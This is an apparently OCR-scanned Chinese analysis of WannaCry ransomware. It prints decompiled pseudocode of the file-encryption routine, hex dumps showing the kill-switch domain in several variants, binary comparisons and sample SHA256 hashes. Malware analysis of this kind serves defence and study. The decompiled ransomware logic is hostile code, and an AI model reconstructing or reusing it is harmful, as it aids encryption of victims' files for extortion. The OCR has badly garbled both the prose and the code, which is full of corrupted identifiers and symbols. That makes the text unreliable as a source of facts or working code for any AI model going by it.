if { texec_file_operation({v5, (wchar_t *)1list pos + offsetof{file_list, Blink), 1) )
add_file list({int)&ptr_new node, ={_ DWORD =){a3 + 4), {(int){list_pos + 2});

NFEBPFEINEIIUG , #=EA CryptGenRadom BEHLAERYL AES Z18
Z el Session Key FhfY RSA AR AES EIRHITIIE | FUEINESHY
RS, 2RI EIER I AES EREITINE, A0 NEPS
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encrypt_random _buf_size = 51
if ( *encrypt_by random(uv34%, &random_key buf, Bx18u, (int)&encrypt_random buf, (int)&encrypt random buf_size) )
goto LABEL_39;

AES_Rijndael_Init{(void =){v4 + 84), &r-andom key buf, off_1088D08D4, 16, 16);
nemset(&-andom_key_buf, 8, 8x18u);
i teFile_o(v9, aWanacry, 8u, (LPDUORD)}&1pHumberdfBytesUritten, @)

teFile_o(v?, &encrypt_random_buf_size, bu, (LPDWORD)&1pHumber0fBytesWritten, B8)

&encrypt_random_buf, encrypt_random_buf_size, (LPDWORD)&LpHumberOfBytesWritten, @)
teFile_®({v9, &operation_flag, 4u, (LPDWORD)&1pHumberOfBytesMritten, @)
*WriteFile_®(v9, &FileSize, 8u, (LPDWORD)&lpNumberOfBytesWritten, 8) )

{
LABEL_63:
uvi5 = (char *)&ms_exc.registration;
goto LABEL_64;

if ( operation_flag == 4 )
{

v35 = FileSize.QuadPart;
if ( v22 3)
{

SetFilePointer(u8, -65536, 8, 2u);

if ( tReadFile_@(u8, =(LPUDID =)(vh + Bx4CB), Bx10666u, (LPDWORD)&u36, B) || v36 6x160680 )

{
LABEL_21:
vi5 = (char =)}&ns_exc.registration;
goto LABEL 64;

ndael_Encrypt{ui + 84, *{_DUORD x){uk4 + Bx4CB), *{char =x){u4 + 1228), Bx18800u, 1});
{ teFile_B(u2, *(LPCUDID *)({uk + 1228), 8x1808Bu, (LPDWORD)E&1pHunberDfBytesritten, @
&& 1pHumber0fBytesUritten 6x10060 ) |

SetFilePointer{u8, Ox1800808, 0, 8);
v35 —= 0x100008i64;
goto LABEL_52;

¥

LABEL_39:
uvi5s = (char =)&ms_exc.registration;
goto LABEL_64;

3
LABEL_52:
while { SHIDWORD(v35) >= @ && (SHIDWORD(v35) > @ || (_DWORD)v3S) )
{
vl = *(_DWORD *=)(ul + 1232);
if ( tuld || txuid )
{
if ¢ *ReadFile_@(hFile, *=(LPUOID =){u4 + 1224), 0x100000u, (LPDHORD)&u36, @) || tudd
goto LABEL_39;
w35 —-= vib;
12 = 16 * (((u36 — 1) >> ) + 1);
if ( w12 > u36 )
memset{ (void =)(u36 + *({_DWORD =)}{uvh + 1224}), @, ui2 - v36);
AES_Rijndael_Encrypt(us + 8%, *(_DUORD *)({uk + 122h), *(char =x)(uk + 1228), vi2, 1);
if ¢ WriteFile_B8(v23, *(LPCUDID *)(u4 + 1228), v12, (LPDWORD)&lpHunmberOfByteskritten, @) )

if { 1lpHumber0fBytesy
continue;
L
¥
goto LABEL_63;

v8 = hFile;
ve v23;

>
SetFileTime(u?, &CreationTime, &lastAccessTime, &lastWritelime);
if ( operation_flag ==
{
CloseHandle_@{u8);
CloseHandle_@(v9):
23 = {(void *)-
hFile = (HAMDLE}-1
is_moved = MoveFileW(&String, encrypted_file name};
vil is_moved;
if ( is_moved )
SetFileattributesW(encrypted file_name, 6x8Bu);
else
DeleteFileW B{&String):

else
{
CloseHandle_8(uvd);
v23 = (void =)-1
hFile = (HANDLE}-1;:
is_moved = MoveFileW((LPGWSTR)old_file_path, encrypted_file_name);
vl = is_move

if ( is_moved )
{
write f_wnry = =(uoid (_ stdcall ==){int, wchar_t =, LONG, DWORD, int, int)){uvi + 1236);
if ( weite_f _wnry )
write_f_wnry{old_file_path, encrypted_file_name, FileSize_HighPart, FileSize_LowPart, operation_flag, u32);

local unwind2{&ns_exc.registration, -
return is_moved;

BIRINEAE |, AN NEIPAR
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00000000.pky 1§ RSA /A48
|

Session RSA Session RSA AN
NI CPtoenkey BEEETR \

cryptGwRandom WINE =
N BNz i

E s R EINEIIRR XA R BRIRIRESE | PR EEII S RESR T
WERIAARIIESARIAI BE, (ERRIREXI IR FRVESIRIET TIE | —éﬂl%)i’iﬂﬂJB%
RURIE S AR RS | BUESLIRRERREIR. BMERSTRET  IEXT AR
SRR BERR.

=. XTF'WannaCry"FHZ M
BHARRAR " WannaCry" IS FE Kill Switch"FF% |, gt 2ma il
"http://www.iugerfsodp9ifiaposdfjngosuriffaewrwergwea.com” X ANrLEE B BT LA
BRI RE  AIRETLOBEN AR A KB & R & s,
WEXMAZELMEMN , X ThRA"WannaCry"(Gi&INeEST 22X , ERIX
BABASRENE , LRI BESWISEISURSEANN"ZE 18X, X, &
Rz SUSER
HIEFISH , KHERWERIHIFMB " WannaCry "SR AHY 0" |, TEANEAI1H#E
MWES—4E |, PRk 2559, SHA256 531

32f24601153be0885f11d62e0a8a2f0280a2034fc981d8184180c5d3b1b9e8cf

c8d816410ebfb134ee14d287a34cea9d34d627a2c5e16234ab726cf9fded 7eco

FOEHBAY"WannaCry"#8EY
SHAZ256 :
24d004a104d4d54034dbcffc2ad4b19a11f39008a575aa614ea04703480b1022¢
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BREEANEXRIT , I NER

24d004a104d4d54034dbeffe2adb19al1£39008a575aa614ea04703480b1022¢ @

3:1370h: 73 63 68 65 2E 65 78 65 00 00 00 00 52 00 00 00

sche.exe. .. PN
3:1380h: 43 6C 6F 73 65 48 61 6E 64 6C 65 00 57 72 65 74 CloseHandle.Writ
3:1390h: 65 46 69 6C 65 00 00 00 43 72 65 61 74 65 46 69 eFile...CreateFi
3:13A0h: 6C 65 41 00 43 72 65 61 74 65 50 72 6F 63 65 73 leA.CreateProces
3:13B0h: 73 41 00 00 6B 00 65 00 72 00 6E 00 65 00 6C 00 sA..k.e.r.n.e.l.
3:13COh: 33 00 32 00 2E 00 64 00 6C 00 6C 00 00 00 00 00 3.2 ...d.1.1.....
3:13D0h: 68 74 74 70 3A 2F 2F 77 77 77 2E 69 6572 http://www.iller
3:13E0h: 66 73 6F 64 70 39 69 66 6A 61 70 6F 73 64 66 6A fsodp9ifjaposdf]
3:13F0h: 68 67 6F 73 75 72 69 6A 66 61 65 77 72 77 65 72 hgosurijfaewrwer
3:1400h: 67 77 65 61 2E 63 6F 6D 00 00 00 00 00 00 00 00 gwea.cCom........
3:1410h: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 . . & o v v v v v v v v
3:1420h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 & & w v o v v s v o v o oo
3:1430h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 & v w v v v v w v v v v u o u
32£24601153be0885£11d62e0a8a2£0280a2034£c981d8184180c5d3b1b9e8cf @
3:1370h: 73 63 68 65 2E 65 78 65 00 00 00 00 52 00 00 00 scC
3:1380h: 43 6C 6F 73 65 48 61 6E 64 6C 65 00 57 72 69 74 C1
3:1390h: 65 46 69 6C 65 00 00 00 43 72 65 61 74 65 46 69 eF
3:13A0h: 6C 65 41 00 43 72 65 61 74 65 50 72 6F 63 65 73 le
3:13B0h: 73 41 00 00 6B 00 65 00 72 00 6E 00 65 00 6C 00 sA
3:13COh: 33 00 32 00 2E 00 64 00 6C 00 6C 00 00 00 00 00 3 .
3:13D0h: 68 74 74 70 3A 2F 2F 77 77 77 2E 69 s 65 72 ht
3:13E0h: 66 73 6F 64 70 39 69 66 6A 61 70 6F 73 64 66 6A f s
3:13F0h: 68 67 6F 73 75 72 69 6A 66 61 65 77 72 77 65 72 hg
3:1400h: 67 77 65 61 2E 63 6F 6D 00 00 00 00 00 00 00 00 gw

3:1410h: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 . . . . . . & v v @ v v oo o
3:1420h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .+ « & v & v o 4 o o o o o o o &
3:1430h: 00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 Q0 00 . . . . . . ¢ v v v v v o v

Output
= D:\Temp\WannCry\24d004a104d4d54034dbcffc2adb]9al1£39008a575aa614ea04703480b1022¢
Result AddressA SizeA AddressB SizeB
|| o Match 313DCh Oh 313DCh
BDC 2h ___1313DCh 2h |
Match 313DEh  35BC22h 313DEh 35BC22h

RAMEARNZ 16 #EHHER T 7 , LKl Switch" k2, X MEA RN
KGRI,

BN EEARBR T IE T Kill Switch"t538 |, IME TimSIETHFIER, 2T

ILFRAEEEFIESOAT |, TixsliT, WF
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24d004a104d4d54034dbeffe2adb19al1£39008a575aa6142a04703480b1022¢ 7]

3:13D0h: 68
3:13EQh: 66
3:13F0h: 68
3:1400h: 67
3:1410h: 01
3:1420h: 00
3:1430h: 00
3:1440h: 00
3:1450h: 00
3:1460h: 00
3:1470h: 00
3:1480h: 00
3:1490h: 00

00 00 00 00

TT 77T 77 2E 69 [ERYM 65 72 h t

00 00 00 00 00 00

p://www. ipleler
dp9ifjaposdfj
surijfaewrwer
Blc @B oo ccoooo

c8d816410ebfbl134ee14d287a34cea9d34d627a2c5e16234ab726cf9fdedTect @

3:13D0h: 68
3:13E0h: 66
3:13F0h: 68
3:1400h: 67
3:1410h: 01
3:1420h: 00
3:1430h: 00
3:1440h: 00
3:1450h: 00
3:1460h: 00
3:1470h: 00
3:1480h: 00
3:1490h: 00
Qutput

Result
O Match
u Difference
O Match
m Difference

Address A Size A

Oh 313DCh
313DCh  2h
313DEh  32C8B%h
35DC97h 2F369h

p://www.1i@§§ler
dp9ifjaposdf]j
surijfaewrwer
Elc @@ o o c o 0 0 0o

D:\Temp\WannCry\24d004a104d4d54034dbcffc2a4b19a11£39008257522614€a04703480b1022¢
~

AddressB  SizeB

Oh 313DCh
313DCh  2h
313DEh  32C8B%h
35DC97h  2F369h

BR T LAERIMER |, KGAEFR S — 1 AMEHY" WannaCry "4 , EIFEHIE
KGR LG, SHA256 207

AIABEETT |

RANSOM

99c0d50b088df94cb0b150a203de6433cb97d4f8fd3b106ce442757c5faa35¢c4
BRI ANR DTSR GIRREIRPMB XA Kill Switch" FFRAWREFAS.
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M. KR
HEA SHA256

Worm
24d004a104d4d54034dbef fc2a4b19al11f39008a575aab14ea@4703480b1022¢c
32124601153be@885f11d62e@a8a2 f8280a2034 fc981d8184180c5d3b1b9e8c f
C8d816410ebfbl34eel4d287a34cea9d34d627a2c5el16234ab726c f9fded7echd
Ransom
ed@lebfbc9ebSbbea545af4d@1bf5f1071661840480439c6eSbabe8e@80e4laa
40468603 fdcb7a2eb5770705898c f9e f37aade532a7964642ecd?05a74794b79
2ca2d550e603d74dedda@3156023135b38da3630cb@14e3d00b1263358cS5 f0ad
€2d1e34c79295e1163481b3683633d031cab9e@86b9ae2acSe30b0@8de f1bOb47?
ec9d3423338d3a0b fccaca f685366c fb8al9ece8dedbd@8e8a3d6446a85019d3a
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